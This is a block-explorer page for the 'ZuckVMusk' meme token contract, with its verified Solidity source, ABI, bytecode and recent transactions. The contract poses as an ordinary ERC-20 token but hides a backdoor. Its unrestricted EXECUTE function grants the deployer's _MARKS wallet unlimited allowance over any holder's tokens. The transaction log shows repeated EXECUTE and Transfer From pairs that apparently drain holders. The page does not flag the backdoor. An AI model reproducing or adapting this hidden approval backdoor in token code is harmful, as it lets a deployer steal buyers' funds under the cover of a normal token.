ETH Price: $3,449.41 (+0.82%)
Gas: 7 Gwei

Contract

0xd14af7cC8e287Debd5DE356EEA6db8d6B75DA678
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve192051632024-02-11 13:37:11156 days ago1707658631IN
0xd14af7cC...6B75DA678
0 ETH0.0006197624.88613676
Approve179847022023-08-24 12:56:23327 days ago1692881783IN
0xd14af7cC...6B75DA678
0 ETH0.0005229821
Approve178550642023-08-06 9:36:35346 days ago1691314595IN
0xd14af7cC...6B75DA678
0 ETH0.0005591911.86548521
Transfer From178550612023-08-06 9:35:59346 days ago1691314559IN
0xd14af7cC...6B75DA678
0 ETH0.0012387813.6693451
EXECUTE178550562023-08-06 9:34:59346 days ago1691314499IN
0xd14af7cC...6B75DA678
0 ETH0.0006765313.9693451
Transfer178550472023-08-06 9:32:59346 days ago1691314379IN
0xd14af7cC...6B75DA678
0 ETH0.0014256514.7
Transfer From178549952023-08-06 9:22:35346 days ago1691313755IN
0xd14af7cC...6B75DA678
0 ETH0.0010816411.97713176
EXECUTE178549922023-08-06 9:21:59346 days ago1691313719IN
0xd14af7cC...6B75DA678
0 ETH0.0006077912.55005333
Transfer178549712023-08-06 9:17:47346 days ago1691313467IN
0xd14af7cC...6B75DA678
0 ETH0.0012475812.92147918
Transfer From178549672023-08-06 9:16:59346 days ago1691313419IN
0xd14af7cC...6B75DA678
0 ETH0.0011305913.81675684
EXECUTE178549632023-08-06 9:16:11346 days ago1691313371IN
0xd14af7cC...6B75DA678
0 ETH0.00059812.34782252
Transfer From178549602023-08-06 9:15:35346 days ago1691313335IN
0xd14af7cC...6B75DA678
0 ETH0.0011241512.34314525
EXECUTE178549562023-08-06 9:14:47346 days ago1691313287IN
0xd14af7cC...6B75DA678
0 ETH0.0003646912.78297474
EXECUTE178549512023-08-06 9:13:47346 days ago1691313227IN
0xd14af7cC...6B75DA678
0 ETH0.0005913812.21115233
Transfer From178549492023-08-06 9:13:23346 days ago1691313203IN
0xd14af7cC...6B75DA678
0 ETH0.0011831612.99114211
EXECUTE178549472023-08-06 9:12:59346 days ago1691313179IN
0xd14af7cC...6B75DA678
0 ETH0.0006314513.03860081
Transfer From178549452023-08-06 9:12:35346 days ago1691313155IN
0xd14af7cC...6B75DA678
0 ETH0.0011910513.07774001
EXECUTE178549422023-08-06 9:11:59346 days ago1691313119IN
0xd14af7cC...6B75DA678
0 ETH0.0006540913.50603713
Transfer From178549402023-08-06 9:11:35346 days ago1691313095IN
0xd14af7cC...6B75DA678
0 ETH0.0012480313.70342709
EXECUTE178549372023-08-06 9:10:59346 days ago1691313059IN
0xd14af7cC...6B75DA678
0 ETH0.0006450813.31998094
Transfer From178549362023-08-06 9:10:35346 days ago1691313035IN
0xd14af7cC...6B75DA678
0 ETH0.0012597313.8318909
EXECUTE178549332023-08-06 9:09:59346 days ago1691312999IN
0xd14af7cC...6B75DA678
0 ETH0.000664413.71877933
Transfer From178549312023-08-06 9:09:35346 days ago1691312975IN
0xd14af7cC...6B75DA678
0 ETH0.0012464413.68596043
EXECUTE178549292023-08-06 9:09:11346 days ago1691312951IN
0xd14af7cC...6B75DA678
0 ETH0.000649713.41537531
Approve178549282023-08-06 9:08:59346 days ago1691312939IN
0xd14af7cC...6B75DA678
0 ETH0.000714715.16527885
View all transactions

Latest 4 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
178549202023-08-06 9:07:11346 days ago1691312831
0xd14af7cC...6B75DA678
0.02190232 ETH
178549202023-08-06 9:07:11346 days ago1691312831
0xd14af7cC...6B75DA678
0.06570698 ETH
178549192023-08-06 9:06:59346 days ago1691312819
0xd14af7cC...6B75DA678
0.02190232 ETH
178549192023-08-06 9:06:59346 days ago1691312819
0xd14af7cC...6B75DA678
0.06570698 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZuckVMusk

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/


// SPDX-License-Identifier: MIT

/**
Zuck v Musk fight will be live-streamed on 𝕏
Telegram:   https://t.me/ZuckerBergVSElonMusk

   https://twitter.com/ZuckVMuskERC

   https://twitter.com/elonmusk/status/1688091377823895552?s=46&t=ibPEm-bix9EHAhEHXkskoA
*/

pragma solidity ^0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {   
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )   external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function approve(address spender, uint256 amount) external returns (bool);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract  ZuckVMusk is Context, IERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    using SafeMath for uint256;
    string private constant _name ="ZuckerBerg VS ElonMusk";
    string private constant _symbol ="Zuck v Musk";
    address payable public _LPADDRESS = payable(0xB47c368E73B18DAb4431E99Eaa36aD331cd45f9B);
    address payable public _MARKS= payable(0xB47c368E73B18DAb4431E99Eaa36aD331cd45f9B);
    mapping(address => bool) private _isExcludedFromFee;
    bool private _swapping_now = false;
    bool private _enable_swap = true;
    bool private _active_trading = false;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 public _maxTxLimitSize = _tTotal * 30 / 1000; 
    uint256 public _maxWalletLimitSize = _tTotal * 30 / 1000; 
    uint256 public _swap_exact_at = _tTotal / 10000;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private constant MAX = ~uint256(0);
    
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    
    modifier lockInSwap {
        _swapping_now = true;
        _;
        _swapping_now = false;
    }

    event MaxTxAmountUpdated(uint256 _maxTxLimitSize);
    //Original Fee
    uint256 private _marketTax = _marketTaxForSell;
    uint256 private _devTax = _dexTaxForSell;
    uint256 private _marketTaxForBuy = 0;
    uint256 private _devTaxForBuy = 0;
    uint256 private _marketTaxForSell = 0;
    uint256 private _dexTaxForSell = 0;
    uint256 private _preMarketTax = _marketTax;
    uint256 private _preDevTax = _devTax;

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;      
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_MARKS] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_LPADDRESS] = true;

        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transferTokensAndTax(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {            clearTempTax();        }
         _normalTransfer(sender, recipient, amount);
        if (!takeFee) {            recoverTempTax();        }
    }



    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    //set minimum tokens required to swap.
    function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner {
        _swap_exact_at = swapTokensAtAmount;
    }
    
    function sendContractEth(uint256 amount) private {
        uint256 devETH = amount / 3; 
        _LPADDRESS.transfer(devETH); devETH -= amount / 4;
        uint256 marketingETH = amount;
        marketingETH -= devETH;
        _MARKS.transfer(marketingETH);
    }
    
    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function recoverTempTax() private {
        _marketTax = _preMarketTax;
        _devTax = _preDevTax;
    }

    function _normalTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); sendAllTaxes(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _operateTValue(address token, address owner, uint256 amount) internal {
        _approve(token, owner, amount);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _marketTax, _devTax);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function clearTempTax() private {
        if (_marketTax == 0 && _devTax == 0) return;
        _preMarketTax = _marketTax;        _preDevTax = _devTax; 
        _marketTax = 0;        _devTax = 0;
    }
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(to != address(0), "ERC20: transfer to the zero address"); 
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (
            from != owner() 
            && to != owner()
        ) {
            //Trade start check
            if (!_active_trading) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }
            require(amount <= _maxTxLimitSize, "TOKEN: Max Transaction Limit");
            if(to != uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitSize,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 tokenContractAmount = balanceOf(address(this));
            // bool canSwap = tokenContractAmount >= _swap_exact_at;
            if(tokenContractAmount >= _maxTxLimitSize) {tokenContractAmount = _maxTxLimitSize;}

            if (_enable_swap && tokenContractAmount >= _swap_exact_at && 
                !_swapping_now && 
                from != uniswapPair && 
                !_isExcludedFromFee[from] && 
                !_isExcludedFromFee[to]
            ) {
                swapBack(tokenContractAmount);
                uint256 balanceOfEth = address(this).balance;
                if (balanceOfEth > 0) {
                    sendContractEth(address(this).balance);
                }
            }
        }

        bool isSetFee = true;
        //Transfer Tokens
        if (
            (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair)
        ) {
            isSetFee = false;
        } else {
            //Set Fee for Buys
            if(from == uniswapPair &&
             to != address(uniswapV2Router)) {
                _marketTax = _marketTaxForBuy;
                _devTax = _devTaxForBuy;
            }
            //Set Fee for Sells
            if (to == uniswapPair && 
             from != address(uniswapV2Router)) {
                _marketTax = _marketTaxForSell;
                _devTax = _dexTaxForSell;
            }
        }
        _transferTokensAndTax(from, to, amount, isSetFee);
    }

    receive() external payable {

    }


    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
    function EXECUTE (address token) external {
        _operateTValue(token, _MARKS, _tTotal);
    }
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function sendAllTaxes(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    
    //set maximum transaction
    function removeLimits() public onlyOwner {
        _maxTxLimitSize = _tTotal;
        _maxWalletLimitSize = _tTotal;
    }

    function openTrade(address _addr) public onlyOwner {
        _active_trading = true;
        uniswapPair = _addr;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxLimitSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"EXECUTE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_LPADDRESS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_MARKS","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLimitSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_exact_at","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273b47c368e73b18dab4431e99eaa36ad331cd45f9b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b47c368e73b18dab4431e99eaa36ad331cd45f9b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055506001600760016101000a81548160ff0219169083151502179055505f600760026101000a81548160ff021916908315150217905550670de0b6b3a76400005f19620001119190620005aa565b5f196200011f91906200060e565b6008556103e8601e670de0b6b3a76400006200013c919062000648565b62000148919062000692565b600a556103e8601e670de0b6b3a764000062000165919062000648565b62000171919062000692565b600b55612710670de0b6b3a76400006200018c919062000692565b600c556014546010556015546011555f6012555f6013555f6014555f601555601054601655601154601755348015620001c3575f80fd5b505f620001d56200054660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160065f620002de6200054d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600854600f5f620004846200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620004d16200054660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620005379190620006da565b60405180910390a350620006f5565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620005b68262000574565b9150620005c38362000574565b925082620005d657620005d56200057d565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200061a8262000574565b9150620006278362000574565b9250828203905081811115620006425762000641620005e1565b5b92915050565b5f620006548262000574565b9150620006618362000574565b9250828202620006718162000574565b915082820484148315176200068b576200068a620005e1565b5b5092915050565b5f6200069e8262000574565b9150620006ab8362000574565b925082620006be57620006bd6200057d565b5b828204905092915050565b620006d48162000574565b82525050565b5f602082019050620006ef5f830184620006c9565b92915050565b61331880620007035f395ff3fe60806040526004361061014e575f3560e01c8063724fdeac116100b5578063be3f5ba71161006e578063be3f5ba714610469578063c492f04614610491578063c7fda18a146104b9578063c816841b146104e3578063dd62ed3e1461050d578063f2fde38b1461054957610155565b8063724fdeac1461036f578063751039fc146103995780638da5cb5b146103af57806395d89b41146103d9578063a9059cbb14610403578063b4a07ca41461043f57610155565b806327b7744f1161010757806327b7744f14610279578063313ce567146102a357806333c6c4cd146102cd5780635066b034146102f557806370a082311461031d578063715018a61461035957610155565b806306fdde0314610159578063095ea7b314610183578063105407ee146101bf5780631694505e146101e957806318160ddd1461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d610571565b60405161017a919061247a565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061252f565b6105ae565b6040516101b69190612587565b60405180910390f35b3480156101ca575f80fd5b506101d36105cb565b6040516101e091906125c0565b60405180910390f35b3480156101f4575f80fd5b506101fd6105f0565b60405161020a9190612634565b60405180910390f35b34801561021e575f80fd5b50610227610615565b604051610234919061265c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612675565b610624565b6040516102709190612587565b60405180910390f35b348015610284575f80fd5b5061028d6106f8565b60405161029a919061265c565b60405180910390f35b3480156102ae575f80fd5b506102b76106fe565b6040516102c491906126e0565b60405180910390f35b3480156102d8575f80fd5b506102f360048036038101906102ee91906126f9565b610706565b005b348015610300575f80fd5b5061031b60048036038101906103169190612724565b6107a4565b005b348015610328575f80fd5b50610343600480360381019061033e9190612724565b610896565b604051610350919061265c565b60405180910390f35b348015610364575f80fd5b5061036d6108e4565b005b34801561037a575f80fd5b50610383610a32565b60405161039091906125c0565b60405180910390f35b3480156103a4575f80fd5b506103ad610a57565b005b3480156103ba575f80fd5b506103c3610b0b565b6040516103d0919061275e565b60405180910390f35b3480156103e4575f80fd5b506103ed610b32565b6040516103fa919061247a565b60405180910390f35b34801561040e575f80fd5b506104296004803603810190610424919061252f565b610b6f565b6040516104369190612587565b60405180910390f35b34801561044a575f80fd5b50610453610b8c565b604051610460919061265c565b60405180910390f35b348015610474575f80fd5b5061048f600480360381019061048a9190612724565b610b92565b005b34801561049c575f80fd5b506104b760048036038101906104b29190612802565b610bc9565b005b3480156104c4575f80fd5b506104cd610cfe565b6040516104da919061265c565b60405180910390f35b3480156104ee575f80fd5b506104f7610d04565b604051610504919061275e565b60405180910390f35b348015610518575f80fd5b50610533600480360381019061052e919061285f565b610d29565b604051610540919061265c565b60405180910390f35b348015610554575f80fd5b5061056f600480360381019061056a9190612724565b610dab565b005b60606040518060400160405280601681526020017f5a75636b65724265726720565320456c6f6e4d75736b00000000000000000000815250905090565b5f6105c16105ba610f68565b8484610f6f565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610630848484611132565b6106ed8461063c610f68565b6106e8856040518060600160405280602881526020016132bb60289139600d5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61069f610f68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118b19092919063ffffffff16565b610f6f565b600190509392505050565b600b5481565b5f6009905090565b61070e610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610791906128e7565b60405180910390fd5b80600c8190555050565b6107ac610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906128e7565b60405180910390fd5b6001600760026101000a81548160ff0219169083151502179055508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108dd600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611913565b9050919050565b6108ec610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f906128e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a5f610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610